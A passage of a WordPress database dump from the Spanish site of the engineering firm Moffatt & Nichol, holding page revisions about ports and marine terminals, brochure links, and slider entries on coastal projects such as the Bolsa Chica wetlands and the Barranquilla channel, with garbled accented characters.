href=\"http://moffattnichol.com/spanish/river-terminals-bulk-handling-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RIVER%20TERMINALS%20AND%20BULK%20HANDLING%20FOR%20PORTAL.pdf\"  target=\"_blank\" title=\"Descargar\">Descargar</a></span></div> \n        </div>\n          </div>\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>  ','Puertos y terminales marÃtimas','','inherit','open','open','','48-revision','','','2011-10-18 11:23:52','2011-10-18 11:23:52','',48,'http://moffattnichol.com/spanish/48-revision/',0,'revision','',0),(2299,1,'2012-05-17 09:52:11','2012-05-17 09:52:11','<div class=\"content_faq\">\r\n<div class=\"banner-space\">\r\n       [anything_slides cat=ports-harbors-marine-terminals width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n        </div>\r\n       <div class=\"ports-left\">\r\n            <h3>puertos y terminales marÃtimas</h3> Como una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. Somos reconocidos internacionalmente por proporcionar soluciones innovadoras a la industria portuaria y marÃtima. Participamos en la llegada de la contenedorizaciÃ³n y tenemos expertos tÃ©cnicos que conocen profundamente las complejas tendencias de hoy del movimiento de mercancÃas y las regulaciones ambientales. Ofrecemos capacidades internas integradas, desde el anÃ¡lisis del concepto y el estudio de factibilidad hasta el planeamiento, el diseÃ±o y la construcciÃ³n. Moffatt & Nichol puede dar soporte, prÃ¡cticamente, a cualquier tarea portuaria, marÃtima o de transporte de carga desde sus oficinas y centros ubicados en NorteamÃ©rica, Europa y AmÃ©rica Latina.\r\n   <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals/ports%20and%20harbors%20services/\">Examinar los servicios portuarios y de terminales marÃtimas >></a></div>        \r\n</div>\r\n         <div class=\"brochure-wrapper-ports\">\r\n             <h3>publicaciones relevantes</h3><br />\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-1.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE PUERTOS Y TERMINALES MARÃTIMAS</strong><br />\r\n                Moffatt & Nichol es una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos del mundo y ha jugado un papel importante en la evoluciÃ³n del puerto moderno.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-and-marine-terminals-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span></div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-2.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE AUTOMATIZACIÃ“N PORTUARIA</strong><br />\r\n                Con dÃ©cadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marÃtimas de todo el mundo, Moffatt & Nichol es reconocido como un lÃder e innovador en el planeamiento y el diseÃ±o  </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/port-automation-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1AUTOMATION.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE SEGURIDAD PORTUARIA</strong><br />\r\n               Con mÃ¡s de 60 aÃ±os de experiencia, Moffatt & Nichol es un lÃder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marÃtima. De acuerdo con iniciativas de Seguridad Nacional &nbsp;\r\n </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/port-security-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1SECURITY.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-4.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES GLOBALES</strong><br />\r\n              Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marÃtimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan  </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/global-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/GLOBAL1COMMERCIAL1ADVISORY1SERVICES.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n        </div>\r\n        \r\n        <div class=\"brochure-wrapper-ports\">\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-5.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE INSTALACIONES DE MANIPULACIÃ“N DE GRANELES</strong><br />\r\n                Moffatt & Nichol, una de las principales firmas de planeamiento e ingenierÃa marÃtimos en el mundo, ofrece a los clientes un conjunto completo de servicios de planeamiento y diseÃ±o para terminales e instalaciones de manipulaciÃ³n de materiales a granel.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-facilities-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span></div> \r\n              <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-6.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE TERMINALES FLUVIALES Y DE MANIPULACIÃ“N DE GRANELES </strong><br />\r\n                Los sistemas fluviales de Estados Unidos conectan el centro del paÃs con el mercado internacional. Como una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos de nuestra naciÃ³n,</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/river-terminals-bulk-handling-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RIVER%20TERMINALS%20AND%20BULK%20HANDLING%20FOR%20PORTAL.pdf\"  target=\"_blank\" title=\"Descargar\">Descargar</a></span></div> \r\n        </div>\r\n          </div>\r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>  ','Puertos y terminales marÃtimas','','inherit','open','open','','48-revision-2','','','2012-05-17 09:52:11','2012-05-17 09:52:11','',48,'http://moffattnichol.com/spanish/48-revision-2/',0,'revision','',0),(2300,1,'2012-05-17 11:28:17','2012-05-17 11:28:17','<div class=\"content_faq\">\r\n<div class=\"banner-space\">\r\n       [anything_slides cat=ports-harbors-marine-terminals width=588 height=300  delay=5000 resume=15000 animation=0 order=ASC orderby=menu_order theme=construction]\r\n        </div>\r\n       <div class=\"ports-left\">\r\n            <h3>puertos y terminales marÃtimas</h3> Como una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. Somos reconocidos internacionalmente por proporcionar soluciones innovadoras a la industria portuaria y marÃtima. Participamos en la llegada de la contenedorizaciÃ³n y tenemos expertos tÃ©cnicos que conocen profundamente las complejas tendencias de hoy del movimiento de mercancÃas y las regulaciones ambientales. Ofrecemos capacidades internas integradas, desde el anÃ¡lisis del concepto y el estudio de factibilidad hasta el planeamiento, el diseÃ±o y la construcciÃ³n. Moffatt & Nichol puede dar soporte, prÃ¡cticamente, a cualquier tarea portuaria, marÃtima o de transporte de carga desde sus oficinas y centros ubicados en NorteamÃ©rica, Europa y AmÃ©rica Latina.\r\n   <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals/ports%20and%20harbors%20services/\">Examinar los servicios portuarios y de terminales marÃtimas >></a></div>        \r\n</div>\r\n         <div class=\"brochure-wrapper-ports\">\r\n             <h3>publicaciones relevantes</h3><br />\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-1.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE PUERTOS Y TERMINALES MARÃTIMAS</strong><br />\r\n                Moffatt & Nichol es una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos del mundo y ha jugado un papel importante en la evoluciÃ³n del puerto moderno.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-and-marine-terminals-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span></div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-2.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE AUTOMATIZACIÃ“N PORTUARIA</strong><br />\r\n                Con dÃ©cadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marÃtimas de todo el mundo, Moffatt & Nichol es reconocido como un lÃder e innovador en el planeamiento y el diseÃ±o  </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/port-automation-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1AUTOMATION.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE SEGURIDAD PORTUARIA</strong><br />\r\n               Con mÃ¡s de 60 aÃ±os de experiencia, Moffatt & Nichol es un lÃder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marÃtima. De acuerdo con iniciativas de Seguridad Nacional &nbsp;\r\n </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/port-security-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1SECURITY.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-4.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES GLOBALES</strong><br />\r\n              Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marÃtimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan  </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/global-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/GLOBAL1COMMERCIAL1ADVISORY1SERVICES.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n        </div>\r\n        \r\n        <div class=\"brochure-wrapper-ports\">\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-5.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE INSTALACIONES DE MANIPULACIÃ“N DE GRANELES</strong><br />\r\n                Moffatt & Nichol, una de las principales firmas de planeamiento e ingenierÃa marÃtimos en el mundo, ofrece a los clientes un conjunto completo de servicios de planeamiento y diseÃ±o para terminales e instalaciones de manipulaciÃ³n de materiales a granel.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-facilities-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span></div> \r\n              <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-6.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE TERMINALES FLUVIALES Y DE MANIPULACIÃ“N DE GRANELES </strong><br />\r\n                Los sistemas fluviales de Estados Unidos conectan el centro del paÃs con el mercado internacional. Como una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos de nuestra naciÃ³n,</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/river-terminals-bulk-handling-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RIVER%20TERMINALS%20AND%20BULK%20HANDLING%20FOR%20PORTAL.pdf\"  target=\"_blank\" title=\"Descargar\">Descargar</a></span></div> \r\n        </div>\r\n          </div>\r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>  ','Puertos y terminales marÃtimas','','inherit','open','open','','48-revision-3','','','2012-05-17 11:28:17','2012-05-17 11:28:17','',48,'http://moffattnichol.com/spanish/48-revision-3/',0,'revision','',0),(2301,1,'2012-05-17 11:28:53','2012-05-17 11:28:53','<div class=\"content_faq\">\r\n<div class=\"banner-space\">\r\n       [anything_slides cat=ports-harbors-marine-terminals width=588 height=300  delay=5000 resume=15000 animation=3000 order=ASC orderby=menu_order theme=construction]\r\n        </div>\r\n       <div class=\"ports-left\">\r\n            <h3>puertos y terminales marÃtimas</h3> Como una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. Somos reconocidos internacionalmente por proporcionar soluciones innovadoras a la industria portuaria y marÃtima. Participamos en la llegada de la contenedorizaciÃ³n y tenemos expertos tÃ©cnicos que conocen profundamente las complejas tendencias de hoy del movimiento de mercancÃas y las regulaciones ambientales. Ofrecemos capacidades internas integradas, desde el anÃ¡lisis del concepto y el estudio de factibilidad hasta el planeamiento, el diseÃ±o y la construcciÃ³n. Moffatt & Nichol puede dar soporte, prÃ¡cticamente, a cualquier tarea portuaria, marÃtima o de transporte de carga desde sus oficinas y centros ubicados en NorteamÃ©rica, Europa y AmÃ©rica Latina.\r\n   <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals/ports%20and%20harbors%20services/\">Examinar los servicios portuarios y de terminales marÃtimas >></a></div>        \r\n</div>\r\n         <div class=\"brochure-wrapper-ports\">\r\n             <h3>publicaciones relevantes</h3><br />\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-1.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE PUERTOS Y TERMINALES MARÃTIMAS</strong><br />\r\n                Moffatt & Nichol es una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos del mundo y ha jugado un papel importante en la evoluciÃ³n del puerto moderno.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-and-marine-terminals-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span></div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-2.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE AUTOMATIZACIÃ“N PORTUARIA</strong><br />\r\n                Con dÃ©cadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marÃtimas de todo el mundo, Moffatt & Nichol es reconocido como un lÃder e innovador en el planeamiento y el diseÃ±o  </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/port-automation-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1AUTOMATION.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE SEGURIDAD PORTUARIA</strong><br />\r\n               Con mÃ¡s de 60 aÃ±os de experiencia, Moffatt & Nichol es un lÃder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marÃtima. De acuerdo con iniciativas de Seguridad Nacional &nbsp;\r\n </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/port-security-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1SECURITY.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-4.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES GLOBALES</strong><br />\r\n              Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marÃtimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan  </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/global-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/GLOBAL1COMMERCIAL1ADVISORY1SERVICES.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n        </div>\r\n        \r\n        <div class=\"brochure-wrapper-ports\">\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-5.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE INSTALACIONES DE MANIPULACIÃ“N DE GRANELES</strong><br />\r\n                Moffatt & Nichol, una de las principales firmas de planeamiento e ingenierÃa marÃtimos en el mundo, ofrece a los clientes un conjunto completo de servicios de planeamiento y diseÃ±o para terminales e instalaciones de manipulaciÃ³n de materiales a granel.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-facilities-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span></div> \r\n              <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-6.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE TERMINALES FLUVIALES Y DE MANIPULACIÃ“N DE GRANELES </strong><br />\r\n                Los sistemas fluviales de Estados Unidos conectan el centro del paÃs con el mercado internacional. Como una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos de nuestra naciÃ³n,</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/river-terminals-bulk-handling-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RIVER%20TERMINALS%20AND%20BULK%20HANDLING%20FOR%20PORTAL.pdf\"  target=\"_blank\" title=\"Descargar\">Descargar</a></span></div> \r\n        </div>\r\n          </div>\r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>  ','Puertos y terminales marÃtimas','','inherit','open','open','','48-revision-4','','','2012-05-17 11:28:53','2012-05-17 11:28:53','',48,'http://moffattnichol.com/spanish/48-revision-4/',0,'revision','',0),(2302,1,'2012-05-17 11:37:43','2012-05-17 11:37:43','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal-banner/coastel-one.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Recuperación de playas en la región de San Diego</div>\r\n<div class=\"gallary-text\">Moffatt & Nichol elaboró el diseño preliminar para las labores de recuperación de playas a lo largo de Oceanside a Imperial Beach, California, lo que implicó el dragado de 1,5 millones de metros cúbicos de arena desde fuentes costa afuera y su descarga en 13 playas diferentes.</div>\r\n</div>','Coastel one','','publish','closed','closed','','coastel-one','','','2012-09-03 07:00:10','2012-09-03 07:00:10','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2302',1,'anything_slides','',0),(2303,1,'2012-05-17 11:38:52','2012-05-17 11:38:52','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal-banner/coastel-two.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Restauración de los humedales de Bolsa Chica</div>\r\n<div class=\"gallary-text\">Después de casi 80 años de degradación del medioambiente, los humedales de Bolsa Chica fueron designados como zona de mitigación para los puertos de Los Ángeles y Long Beach, quienes seleccionaron a Moffatt & Nichol para proporcionar servicios de ingeniería y gestión del programa para una restauración ecológica de $147 millones.</div>\r\n</div>\r\n','Coastel two','','publish','closed','closed','','coastel-two','','','2012-08-29 11:15:29','2012-08-29 11:15:29','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2303',2,'anything_slides','',0),(2304,1,'2012-05-17 11:40:25','2012-05-17 11:40:25','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal-banner/coastel-three.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Profundización de canal de acceso al Puerto de Barranquilla</div>\r\n<div class=\"gallary-text\">Moffatt & Nichol prestaron servicios de ingeniería al Consorcio Canal de Río para profundizar, en 12 metros, el canal de acceso de 22 kilómetros que conduce al Puerto de Barranquilla, Colombia, a fin de permitir que buques Handymax de 35 000 toneladas hagan escala en el puerto.</div>\r\n</div>','Coastel three','','publish','closed','closed','','coastel-three','','','2012-08-29 11:15:31','2012-08-29 11:15:31','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2304',3,'anything_slides','',0),(2305,1,'2012-05-17 11:42:35','2012-05-17 11:42:35','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal-banner/coastel-four.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Coney Island Sea-Gate</div>\r\n<div class=\"gallary-text\">Como parte de un estudio que examinó el funcionamiento del proyecto de rellenado de las playas de Coney Island, Moffatt & Nichol desarrolló alternativas para mejorar la retención de la arena dentro del segmento ribereño de Sea Gate, lo que incluyó, entre otras alternativas, un sistema de escollera en T para protección de la ribera y retención de la arena.</div>\r\n</div>\r\n','Coastel four','','publish','closed','closed','','coastel-four','','','2012-09-03 06:59:39','2012-09-03 06:59:39','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2305',4,'anything_slides','',0),(2306,1,'2012-05-17 11:43:32','2012-05-17 11:43:32','<img src=\"http://www.moffattnichol.com/wp-content/themes/moffatandnichol/images/coastal-banner/coastel-five.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Estudio de investigación/factibilidad de medidas correctivas en la parte baja del río <br />Passaic y la bahía de Newark</div>\r\n<div class=\"gallary-text\">Moffatt & Nichol fue seleccionado por una asociación de agencias federales, estatales y municipales para realizar un programa de modelación integral para un sitio Superfondo densamente poblado y muy industrializado que comprende un tramo de 27 km de la parte baja del río Passaic en Nueva Jersey.</div>\r\n</div>\r\n','Coastel Five','','publish','closed','closed','','coastel-five','','','2012-09-03 05:56:25','2012-09-03 05:56:25','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2306',5,'anything_slides','',0),(2307,1,'2011-10-18 11:25:18','2011-10-18 11:25:18','<div class=\"content_faq\">\n       [vslider name=\"coastal_environmental_\"]\n       <div class=\"ports-left\">\n            <h3>recursos costeros, medioambientales e hÃdricos</h3> Moffatt & Nichol fue una de las primeras firmas de ingenierÃa en el mundo en adoptar el concepto de ingenierÃa costera moderna: modelaciÃ³n, comprensiÃ³n y diseÃ±o para los procesos que dan forma a nuestras lÃneas costeras, puertos y rÃos. Hoy en dÃa, puede decirse que la firma cuenta con uno los mayores equipos de ingenieros costeros en NorteamÃ©rica. Nuestros ingenieros de recursos costeros, medioambientales e hÃdricos se enfocan en el complicado ambiente donde la tierra entra en contacto con el agua y proporcionan soluciones para protecciÃ³n de riberas, gestiÃ³n regional de la arena, restauraciÃ³n del ecosistema, gestiÃ³n de material dragado y su reutilizaciÃ³n beneficiosa, navegaciÃ³n de buques, operaciones de amarre y atraque, recursos hÃdricos y gestiÃ³n de aguas	pluviales. \n\nEn la era actual de aumento de la densidad poblacional en las zonas costeras y de las preocupaciones sobre el cambio climÃ¡tico, los especialistas en recursos costeros, medioambientales e hÃdricos de Moffatt & Nichol son pioneros en el desarrollo de soluciones prÃ¡cticas para estos desafÃos. \n <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/coastal-environmental-water-resources/coastal-environmental-and-water-resources-services/\">Examinar los servicios costeros, medioambientales y de recursos hÃdricos >></a></div>\n</div>\n         <div class=\"brochure-wrapper-ports\">\n            <h3>publicaciones relevantes</h3>\n            <div class=\"brochure-one\">\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-1.jpg\" /></div>\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\n                <strong class=\"green-new\">CALIFICACIÃ“N DE RECURSOS COSTEROS, MEDIOAMBIENTALES E HÃDRICOS </strong><br />\n                El prestigio de Moffatt & Nichol de excelencia en el entorno de frentes costeros fue desarrollado a lo largo de aÃ±os de experiencia con estimulantes proyectos.</div>\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-qualifications/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/COASTAL%20ENVIRONMENTAL%20AND%20WATER%20RESOURCES%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\n            <div class=\"brochure-one\">\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-2.jpg\" /></div>\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\n                <strong class=\"green-new\">CALIFICACIÃ“N MEDIOAMBIENTAL</strong><br />\n                La excelencia de Moffatt & Nichol en servicios medioambientales fue desarrollada a lo largo de aÃ±os de experiencia con estimulantes proyectos en todo el 